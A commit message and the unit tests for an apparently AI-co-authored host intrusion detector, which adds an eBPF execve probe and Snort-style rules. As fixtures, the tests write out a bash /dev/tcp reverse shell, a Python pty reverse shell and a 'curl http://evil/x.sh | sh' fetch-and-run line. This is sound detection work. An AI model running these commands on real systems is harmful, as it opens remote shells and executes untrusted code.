0eb5077551
Closes polling's blind spot (processes that exit between sweeps) with a real
eBPF probe and a declarative, data-driven detection engine — inspired by Snort
(rule language, signature IDs) and OSSEC (host-IDS framing).
New events/ subpackage:
- bcc_source.py : eBPF C tracing execve (filename, argv[1..2], ppid, uid,
parent comm) over a perf buffer, loaded via bcc; lazy import
+ available()/try-except so it fails closed to poll-only when
bcc/root/BTF are absent — a broken probe never downs the daemon
- exec_event.py : the ExecEvent type
- rules.py : ExecRule (sid/msg/severity/classtype + path/exec/parent/argv
conditions) and ExecRuleEngine; 4 shipped rules (fileless exec
100001, reverse-shell argv 100002, web/DB→shell RCE 100003,
curl|sh 100004); operators add more via exec_rules_file TOML
- monitor.py : runs the source on a thread, routes events through the engine
Integration:
- daemon starts the monitor, shares a lock-guarded cooldown with the sweep
loop, and feeds event alerts into the same snapshot pipeline
- Alert gains Snort-style sid + classtype; retrofitted onto all 7 poll
detectors; snapshots and JSON now carry them
- config: ebpf_exec_monitor (default on, degrades), exec_rules_file
- systemd: opt-in ebpf.conf drop-in (relaxes MemoryDenyWriteExecute + widens
caps for bcc's JIT) so the base unit stays hardened for poll-only
- sentinel-redteam: ebpf_exec drill (short-lived /tmp exec + /dev/tcp argv the
poller can't see); footer now uses the Python CLI
Tests: +14 cases for the rule engine (each default rule match/non-match, rule
validation, parent-exclude). 39/39 pass. Graceful non-root degradation verified.
NOTE: the eBPF C follows bcc's execsnoop pattern but could not be run here
(BPF needs root); it wants a root smoke-test on a real host.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
101 lines
3.8 KiB
Python
101 lines
3.8 KiB
Python
# SPDX-License-Identifier: GPL-3.0-or-later
|
|
"""Tests for the Snort-style execve rule engine (pure, no kernel needed)."""
|
|
import unittest
|
|
|
|
from enodia_sentinel.alert import Severity
|
|
from enodia_sentinel.events.exec_event import ExecEvent
|
|
from enodia_sentinel.events.rules import (
|
|
DEFAULT_EXEC_RULES,
|
|
ExecRule,
|
|
ExecRuleEngine,
|
|
)
|
|
|
|
|
|
def ev(filename="/usr/bin/ls", argv=(), parent="bash", pid=10, ppid=9, uid=0):
|
|
return ExecEvent(pid=pid, ppid=ppid, uid=uid, parent_comm=parent,
|
|
filename=filename, argv=tuple(argv))
|
|
|
|
|
|
class TestExecEvent(unittest.TestCase):
|
|
def test_derived_fields(self):
|
|
e = ev(filename="/tmp/x", argv=("-c", "echo hi"))
|
|
self.assertEqual(e.exec_comm, "x")
|
|
self.assertEqual(e.argv_str, "/tmp/x -c echo hi")
|
|
|
|
|
|
class TestDefaultRules(unittest.TestCase):
|
|
def setUp(self):
|
|
self.engine = ExecRuleEngine()
|
|
|
|
def sids(self, e):
|
|
return {a.sid for a in self.engine.match(e)}
|
|
|
|
def test_fileless_tmp_exec(self):
|
|
self.assertIn(100001, self.sids(ev(filename="/tmp/.x/dropper")))
|
|
self.assertIn(100001, self.sids(ev(filename="/dev/shm/payload")))
|
|
|
|
def test_normal_path_no_fileless(self):
|
|
self.assertNotIn(100001, self.sids(ev(filename="/usr/bin/python3")))
|
|
|
|
def test_reverse_shell_devtcp(self):
|
|
e = ev(filename="/bin/bash",
|
|
argv=("-c", "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"))
|
|
self.assertIn(100002, self.sids(e))
|
|
|
|
def test_reverse_shell_python(self):
|
|
e = ev(filename="/usr/bin/python3",
|
|
argv=("-c", "import socket,os,pty;s=socket.socket();pty.spawn('/bin/sh')"))
|
|
self.assertIn(100002, self.sids(e))
|
|
|
|
def test_benign_command_no_reverse_shell(self):
|
|
self.assertNotIn(100002, self.sids(ev(filename="/usr/bin/ls", argv=("-la",))))
|
|
|
|
def test_web_rce_shell_from_nginx(self):
|
|
e = ev(filename="/bin/sh", parent="nginx", argv=("-c", "id"))
|
|
sids = self.sids(e)
|
|
self.assertIn(100003, sids)
|
|
|
|
def test_web_rce_requires_interpreter_child(self):
|
|
# nginx spawning a normal helper is not an interpreter -> no web-rce
|
|
e = ev(filename="/usr/bin/convert", parent="nginx")
|
|
self.assertNotIn(100003, self.sids(e))
|
|
|
|
def test_login_shell_not_web_rce(self):
|
|
# sshd spawning bash is a normal login, not in the web/db server set
|
|
e = ev(filename="/bin/bash", parent="sshd")
|
|
self.assertNotIn(100003, self.sids(e))
|
|
|
|
def test_curl_pipe_sh(self):
|
|
e = ev(filename="/bin/sh",
|
|
argv=("-c", "curl http://evil/x.sh | sh"))
|
|
self.assertIn(100004, self.sids(e))
|
|
|
|
def test_severities(self):
|
|
sev = {r.sid: r.severity for r in DEFAULT_EXEC_RULES}
|
|
self.assertEqual(sev[100001], Severity.CRITICAL)
|
|
self.assertEqual(sev[100002], Severity.CRITICAL)
|
|
self.assertEqual(sev[100004], Severity.HIGH)
|
|
|
|
def test_alert_carries_sid_and_classtype(self):
|
|
e = ev(filename="/tmp/x")
|
|
alert = next(iter(self.engine.match(e)))
|
|
self.assertEqual(alert.sid, 100001)
|
|
self.assertEqual(alert.classtype, "fileless-execution")
|
|
self.assertEqual(alert.pids, (e.pid,))
|
|
|
|
|
|
class TestRuleValidation(unittest.TestCase):
|
|
def test_rule_with_no_conditions_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
ExecRule(sid=999, msg="x", severity=Severity.HIGH, classtype="y")
|
|
|
|
def test_parent_exclude(self):
|
|
rule = ExecRule(sid=1, msg="m", severity=Severity.HIGH, classtype="c",
|
|
exec_comm=frozenset({"bash"}),
|
|
parent_exclude=frozenset({"sshd"}))
|
|
self.assertTrue(rule.matches(ev(filename="/bin/bash", parent="cron")))
|
|
self.assertFalse(rule.matches(ev(filename="/bin/bash", parent="sshd")))
|
|
|
|
|
|
if __name__ == "__main__":
|
|
unittest.main()
|